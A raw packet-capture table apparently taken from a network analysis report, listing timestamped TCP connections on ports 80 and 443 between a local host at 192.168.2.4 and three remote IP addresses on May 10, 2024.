May 10, 2024 09:20:57.621762037 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:57.621814013 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:57.621829987 CEST	443	49748	18.229.86.183	192.168.2.4
May 10, 2024 09:20:57.621845961 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:57.621871948 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:57.640818119 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.640860081 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.640887976 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.640923023 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.640930891 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.640944958 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.640968084 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.641108990 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.641143084 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.641155005 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.641386032 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.641403913 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.641448975 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.641458035 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.641493082 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.641938925 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.641997099 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.642024040 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.642050982 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.642060995 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.642069101 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.642090082 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.642868042 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.642889977 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.642905951 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.642913103 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.642940998 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.642951965 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.642957926 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.642995119 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.643002033 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.643762112 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.643785954 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.643810034 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.643826962 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.643835068 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.643857956 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.644618034 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.644686937 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.644710064 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.644711018 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.644718885 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.644750118 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.644757986 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.644790888 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.644805908 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.644814014 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.644838095 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.644871950 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.645164013 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.645179033 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.645643950 CEST	49779	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.645673037 CEST	443	49779	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.645978928 CEST	49779	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.646756887 CEST	49779	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.646771908 CEST	443	49779	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.647599936 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.647644043 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.647679090 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.647700071 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.647721052 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.647732019 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.647753000 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.647789955 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.647851944 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.647855997 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.647926092 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.647965908 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.647969961 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.648400068 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.648439884 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.649636984 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.649646997 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.651029110 CEST	443	49765	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.651099920 CEST	443	49765	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.651165009 CEST	49765	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.652678013 CEST	49765	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.652689934 CEST	443	49765	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.654165030 CEST	49766	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.654181004 CEST	443	49766	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.660113096 CEST	443	49767	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.664112091 CEST	443	49768	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.692327023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692342043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692353964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692368031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692406893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.692457914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.692461014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692487001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692500114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692513943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692533970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.692557096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.692688942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692703009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692715883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692733049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692749023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.692764044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.692812920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692826986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692857981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692871094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.692877054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.692912102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.693464994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.693478107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.693490028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.693502903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.693510056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.693542004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.693886042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.693898916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.693912029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.693923950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.693942070 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.693964958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.695349932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.695363998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.695388079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.695403099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.695414066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.695434093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.695647001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.695693016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.695707083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.695719004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.695735931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.695760012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.696331978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.696346998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.696360111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.696372986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.696394920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.696408033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.696671963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.696686983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.696698904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.696712017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.696746111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.696759939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.697798967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.697815895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.697827101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.697841883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.697873116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.697884083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.699187994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699203014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699215889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699227095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699244022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699256897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699260950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.699269056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699280977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.699284077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699290991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.699316025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.699517012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699533939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699544907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699557066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699563980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.699568987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699588060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.699599028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.699621916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.700522900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700607061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700622082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700637102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700644970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.700658083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700670004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700671911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.700695992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.700754881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700771093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700793028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700803041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.700805902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700819969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700833082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.700851917 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.700875044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.701179028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701190948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701203108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701214075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701225996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701231956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.701241016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701248884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.701256990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701270103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.701275110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701293945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701304913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701312065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.701318026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701329947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.701348066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.701370955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.702251911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702276945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702289104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702301025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702312946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702325106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702327967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.702338934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702354908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702361107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.702368975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702383041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702394962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702403069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.702410936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.702421904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.702445984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.703294992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.703362942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.703377008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.703391075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.703403950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.703416109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.703428030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.703452110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.703452110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.705298901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705315113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705333948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705347061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705353975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.705360889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705374002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705383062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.705409050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.705802917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705815077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705827951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705845118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705852032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.705858946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705873013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.705882072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.705903053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.706430912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.706513882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.706526041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.706537962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.706545115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.706561089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.706572056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.706578970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.706614017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.707830906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.707844973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.707859039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.707873106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.707880974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.707889080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.707901955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.707906961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.708116055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.708282948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.708355904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.708368063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.708384991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.708398104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.708411932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.708442926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.708450079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.708463907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.708477020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.708507061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.708520889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.710083961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.710098028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.710108995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.710123062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.710134983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.710134983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.710155964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.710165977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.710181952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.711039066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.711055040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.711066961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.711098909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.713324070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.713337898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.713350058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.713362932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.713376045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.713383913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.713409901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.713424921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.714391947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.714405060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.714420080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.714442968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.714463949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.716097116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.716123104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.716136932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.716144085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.716217041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.718354940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.718369961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.718383074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.718395948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.718425035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.718445063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.721110106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.721158028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.721218109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.721227884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.721244097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.721282005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.721440077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.721453905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.721467018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.721479893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.721496105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.721518993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.722768068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.722781897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.722794056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.722809076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.722831964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.722851992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.724261999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.724276066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.724288940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.724302053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.724323988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.724368095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.726588011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.726608992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.726619959 CEST	80	49754	34.68.151.162	192.168.2.4
